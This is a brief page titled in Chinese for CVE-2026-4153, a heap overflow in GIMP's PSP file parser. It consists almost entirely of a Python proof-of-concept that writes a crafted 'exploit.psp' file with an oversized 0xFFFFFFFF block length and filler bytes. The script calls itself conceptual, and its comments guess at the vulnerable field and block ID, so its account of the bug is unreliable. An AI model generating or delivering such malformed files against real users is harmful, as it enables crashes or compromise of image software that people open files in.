CVE-2026-4153 GIMP PSP文件解析堆溢出漏洞

# PoC for CVE-2026-4153 (Conceptual) # This script generates a malformed PSP file to trigger the heap overflow. import struct def create_malformed_psp(filename): # PSP file header signature signature = b'Paint Shop Pro Image File\n\x1a\x00\x00\x00\x01' # Create a malformed block header # Assuming the vulnerability is in parsing a block length field. # We set a large length value to trigger the overflow. block_id = b'GENR' # Example block ID # Normal length might be small, we use a large value to overflow malicious_length = 0xFFFFFFFF # Very large length # Construct the header header = signature + block_id + struct.pack('<I', malicious_length) # Padding to reach the copy point (conceptual) payload = b'A' * 100 with open(filename, 'wb') as f: f.write(header + payload) if __name__ == '__main__': create_malformed_psp('exploit.psp') print('Malformed PSP file generated: exploit.psp')